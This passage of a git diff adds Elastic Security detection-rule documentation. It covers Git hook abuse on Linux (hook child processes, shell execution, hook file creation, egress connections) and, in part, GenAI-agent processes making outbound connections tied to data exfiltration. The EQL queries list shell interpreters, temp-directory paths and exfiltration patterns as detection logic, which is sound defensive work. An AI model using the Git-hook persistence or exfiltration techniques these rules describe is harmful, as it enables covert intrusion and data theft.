frameworks + (process.parent.name in ("node.exe", "node", "deno.exe", "deno") and + process.parent.command_line like~ ( + "*ollama*", "*mcp-server*", "*@modelcontextprotocol*", "*langchain*", "*autogpt*", + "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", + "*haystack*", "*openai*", "*anthropic*", "*cohere*", "*mistral*" + )) or + + // Python with GenAI frameworks + (process.parent.name like~ "python*" and + process.parent.command_line like~ ( + "*ollama*", "*mcp-server*", "*langchain*", "*autogpt*", "*babyagi*", + "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*", + "*openai*", "*anthropic*", "*cohere*", "*mistral*" + )) + ) + ] by process.entity_id + + // Outbound network connection (non-local) + [network where event.type == "start" + and event.action == "connection_attempted" + and destination.ip != null + and not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8") + + ] by process.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ +* Sub-technique: +** Name: Archive via Library +** ID: T1560.002 +** Reference URL: https://attack.mitre.org/techniques/T1560/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Data Transfer Size Limits +** ID: T1030 +** Reference URL: https://attack.mitre.org/techniques/T1030/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-child-process.asciidoc new file mode 100644 index 0000000000..e9832a11ac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-child-process.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-34-git-hook-child-process]] +=== Git Hook Child Process + +This rule detects child processes spawned by Git hooks. Git hooks are scripts that Git executes before or after events such as commit, push, and receive. The rule identifies child processes spawned by Git hooks that are not typically spawned by the Git process itself. This behavior may indicate an attacker attempting to hide malicious activity by leveraging the legitimate Git process to execute unauthorized commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://git-scm.com/docs/githooks/2.26.0 +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Hook Child Process* + + +Git hooks are scripts that automate tasks during Git operations like commits or pushes. Adversaries may exploit these hooks to execute unauthorized commands, masking malicious activities under legitimate processes. The detection rule identifies unusual child processes spawned by Git hooks, focusing on atypical scripts or executables in suspicious directories, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on the parent process names listed in the query, such as "pre-commit" or "post-update", to determine the context of the spawned child process. +- Examine the command line arguments and environment variables of the suspicious child process to identify any potentially malicious or unauthorized commands being executed. +- Check the file paths of the executables involved, especially those in unusual directories like "/tmp/*" or "/var/tmp/*", to assess if they are legitimate or potentially harmful. +- Investigate the user account under which the suspicious process is running to determine if it has been compromised or is being used in an unauthorized manner. +- Correlate the event with other security logs or alerts from the same host to identify any patterns or additional indicators of compromise. +- Review recent Git activity on the repository to identify any unauthorized changes or suspicious commits that might indicate tampering with Git hooks. + + +*False positive analysis* + + +- Legitimate development scripts: Developers may use scripts in directories like /tmp or /var/tmp for testing purposes. To handle this, create exceptions for known scripts or directories used by trusted developers. +- Custom shell usage: Developers might use shells like bash or zsh for legitimate automation tasks. Identify and whitelist these specific shell scripts if they are part of regular development workflows. +- Temporary file execution: Some applications may temporarily execute files from directories like /dev/shm or /run. Monitor these applications and exclude them if they are verified as non-threatening. +- Non-standard interpreters: Developers might use interpreters like php or perl for legitimate tasks. Review and whitelist these processes if they are part of approved development activities. +- System maintenance scripts: Scheduled tasks or maintenance scripts might run from /etc/cron.* or /etc/init.d. Verify these scripts and exclude them if they are part of routine system operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or execution of malicious commands. +- Terminate any suspicious processes identified by the detection rule, especially those originating from unusual directories or involving unexpected scripts or executables. +- Conduct a thorough review of the Git hooks on the affected system to identify and remove any unauthorized or malicious scripts. +- Restore any modified or deleted files from a known good backup to ensure system integrity and continuity of operations. +- Implement stricter access controls and permissions for Git repositories and associated directories to prevent unauthorized modifications to Git hooks. +- Monitor the affected system and related network activity closely for any signs of persistence or further compromise, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.parent.name in ( + "applypatch-msg", "commit-msg", "fsmonitor-watchman", "post-update", "post-checkout", "post-commit", + "pre-applypatch", "pre-commit", "pre-merge-commit", "prepare-commit-msg", "pre-push", "pre-rebase", "pre-receive", + "push-to-checkout", "update", "post-receive", "pre-auto-gc", "post-rewrite", "sendemail-validate", "p4-pre-submit", + "post-index-change", "post-merge", "post-applypatch" +) and +( + process.name in ("nohup", "setsid", "disown", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") or + process.name like ("php*", "perl*", "ruby*", "lua*") or + process.executable like ( + "/boot/*", "/dev/shm/*", "/etc/cron.*/*", "/etc/init.d/*", "/etc/update-motd.d/*", + "/run/*", "/srv/*", "/tmp/*", "/var/tmp/*", "/var/log/*" + ) +) and +not process.name in ("git", "dirname") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-command-execution.asciidoc new file mode 100644 index 0000000000..1c05a74aef --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-command-execution.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-git-hook-command-execution]] +=== Git Hook Command Execution + +This rule detects the execution of a potentially malicious process from a Git hook. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse Git hooks to execute arbitrary commands on the system and establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Hook Command Execution* + + +Git hooks are scripts that automate tasks by executing before or after Git events like commits or pushes. While useful for developers, adversaries can exploit them to run malicious commands, gaining persistence or evading defenses. The detection rule identifies suspicious processes initiated by Git hooks, focusing on shell executions, to flag potential abuse on Linux systems. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific Git hook script path and the suspicious process name that was executed, as indicated by the process.args and process.name fields. +- Examine the process tree to understand the parent-child relationship, focusing on the process.parent.name and process.entity_id fields, to determine how the suspicious process was initiated. +- Check the Git repository's history and recent changes to the .git/hooks directory to identify any unauthorized modifications or additions to the hook scripts. +- Investigate the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it indicates potential compromise. +- Analyze the command-line arguments and environment variables of the suspicious process to gather more context on the nature of the executed command. +- Correlate this event with other security alerts or logs from the same host.id to identify any patterns or additional indicators of compromise. +- If possible, isolate the affected system and conduct a deeper forensic analysis to uncover any further malicious activity or persistence mechanisms. + + +*False positive analysis* + + +- Developers using Git hooks for legitimate automation tasks may trigger this rule. To manage this, identify and document common scripts used in your development environment and create exceptions for these known benign processes. +- Continuous integration and deployment (CI/CD) systems often utilize Git hooks to automate workflows. Review the processes initiated by these systems and exclude them from detection if they are verified as non-malicious. +- Custom scripts executed via Git hooks for project-specific tasks can also cause false positives. Collaborate with development teams to catalog these scripts and adjust the detection rule to exclude them. +- Frequent updates or changes in Git repositories might lead to repeated triggering of the rule. Monitor these activities and, if consistent and verified as safe, consider adding them to an allowlist to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being executed from Git hooks, especially those involving shell executions. +- Conduct a thorough review of the .git/hooks directory on the affected system to identify and remove any unauthorized or malicious scripts. +- Restore any modified or deleted files from a known good backup to ensure system integrity. +- Implement monitoring for any future modifications to the .git/hooks directory to detect unauthorized changes promptly. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update access controls and permissions for Git repositories to limit the ability to modify hooks to trusted users only. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name == "git" and process.args like ".git/hooks/*" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + ] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-created-or-modified.asciidoc new file mode 100644 index 0000000000..fedadf05c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-created-or-modified.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-34-git-hook-created-or-modified]] +=== Git Hook Created or Modified + +This rule detects the creation or modification of a Git hook file on a Linux system. Git hooks are scripts that Git executes before or after events such as commit, push, and receive. They are used to automate tasks, enforce policies, and customize Git's behavior. Attackers can abuse Git hooks to maintain persistence on a system by executing malicious code whenever a specific Git event occurs. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://git-scm.com/docs/githooks/2.26.0 +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Hook Created or Modified* + + +Git hooks are scripts that automate tasks by executing before or after Git events like commits or pushes. While beneficial for developers, adversaries can exploit them to execute malicious code, maintaining persistence on a system. The detection rule identifies suspicious creation or modification of Git hooks on Linux, excluding benign processes, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the file path to confirm the location of the modified or created Git hook file and determine if it aligns with known repositories or projects on the system. +- Identify the process executable responsible for the creation or modification of the Git hook file and verify if it is a known and legitimate process, excluding those listed in the query. +- Check the timestamp of the event to correlate with any known user activities or scheduled tasks that might explain the modification or creation of the Git hook. +- Investigate the user account associated with the process that triggered the alert to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Examine the contents of the modified or newly created Git hook file to identify any potentially malicious code or unexpected changes. +- Cross-reference the event with other security logs or alerts to identify any related suspicious activities or patterns that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum can trigger false positives when they create or modify Git hooks during package installations or updates. To manage this, ensure these executables are included in the exclusion list within the detection rule. +- Automated deployment tools such as Puppet and Chef may modify Git hooks as part of their configuration management processes. Exclude these tools by adding their executables to the exception list to prevent false alerts. +- Continuous integration and deployment systems like Jenkins or GitLab runners might modify Git hooks as part of their build processes. Identify and exclude these processes by adding their specific executables or paths to the exclusion criteria. +- Custom scripts or internal tools that are known to modify Git hooks for legitimate purposes should be identified and their executables added to the exclusion list to avoid unnecessary alerts. +- Consider excluding specific directories or paths that are known to be used by trusted applications or processes for Git hook modifications, ensuring these are not flagged as suspicious. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or further execution of malicious code. +- Terminate any suspicious processes associated with the creation or modification of Git hooks that are not part of the known benign processes listed in the detection rule. +- Conduct a thorough review of the modified or newly created Git hook scripts to identify and remove any malicious code or unauthorized changes. +- Restore any affected Git repositories from a known good backup to ensure integrity and remove any persistence mechanisms. +- Implement file integrity monitoring on the .git/hooks directory to detect unauthorized changes in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update access controls and permissions for Git repositories to limit the ability to modify hook scripts to only trusted users. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.path like "*.git/hooks/*" and +file.extension == null and process.executable != null and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "/bin/pamac-daemon", + "/usr/local/bin/dockerd", "/sbin/dockerd", "/usr/bin/fuse-overlayfs", "/usr/local/bin/gitlab-runner", + "/usr/bin/coreutils", "/usr/bin/nautilus" + ) or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/run/k3s/containerd/io.containerd.runtime.v2.task/k8s.io/*/r10k" + ) or + process.name in ("git", "dirname", "tar", "gitea", "git-lfs") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-egress-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-egress-network-connection.asciidoc new file mode 100644 index 0000000000..0e3c480912 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-hook-egress-network-connection.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-34-git-hook-egress-network-connection]] +=== Git Hook Egress Network Connection + +This rule detects a suspicious egress network connection attempt from a Git hook script. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse these features to execute arbitrary commands on the system, establish persistence or to initialize a network connection to a remote server and exfiltrate data or download additional payloads. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-endpoint.events.network* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Hook Egress Network Connection* + + +Git hooks are scripts that automate tasks during Git operations like commits or pushes. Adversaries can exploit these hooks to execute unauthorized commands, maintain persistence, or initiate network connections for data exfiltration. The detection rule identifies suspicious network activities by monitoring script executions from Git hooks and subsequent egress connections to non-local IPs, flagging potential misuse. + + +*Possible investigation steps* + + +- Review the process execution details to identify the specific Git hook script that triggered the alert. Check the process.args field for the exact script path within the .git/hooks directory. +- Investigate the parent process details to confirm the legitimacy of the Git operation. Verify the process.parent.name is "git" and assess whether the Git activity aligns with expected user or system behavior. +- Analyze the destination IP address involved in the network connection attempt. Use the destination.ip field to determine if the IP is known, trusted, or associated with any malicious activity. +- Check for any additional network connections from the same host around the time of the alert to identify potential patterns or additional suspicious activity. +- Correlate the alert with any recent changes in the repository or system that might explain the execution of the Git hook, such as recent commits or updates. +- Review user activity logs to determine if the Git operation was performed by an authorized user and if their actions align with their typical behavior. +- If suspicious activity is confirmed, isolate the affected system to prevent further unauthorized access or data exfiltration and initiate a deeper forensic analysis. + + +*False positive analysis* + + +- Legitimate automated scripts or CI/CD pipelines may trigger Git hooks to perform network operations. Review the source and purpose of these scripts and consider excluding them if they are verified as non-threatening. +- Development environments often use Git hooks for tasks like fetching dependencies or updating remote services. Identify these common operations and create exceptions for known safe IP addresses or domains. +- Internal tools or services that rely on Git hooks for communication with other internal systems might be flagged. Ensure these tools are documented and whitelist their network activities if they are deemed secure. +- Frequent updates or deployments that involve Git hooks could lead to repeated alerts. Monitor the frequency and context of these alerts to determine if they are part of regular operations and adjust the rule to reduce noise. +- Consider the context of the network connection, such as the destination IP or domain. If the destination is a known and trusted entity, it may be appropriate to exclude it from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized egress connections and potential data exfiltration. +- Terminate any suspicious processes identified as originating from Git hooks, particularly those executing shell scripts like bash, dash, or zsh. +- Conduct a thorough review of the .git/hooks directory on the affected system to identify and remove any unauthorized or malicious scripts. +- Reset credentials and access tokens associated with the affected Git repository to prevent further unauthorized access. +- Restore any modified or deleted files from a known good backup to ensure system integrity. +- Implement network monitoring to detect and block any future unauthorized egress connections from Git hooks or similar scripts. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems or repositories. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and 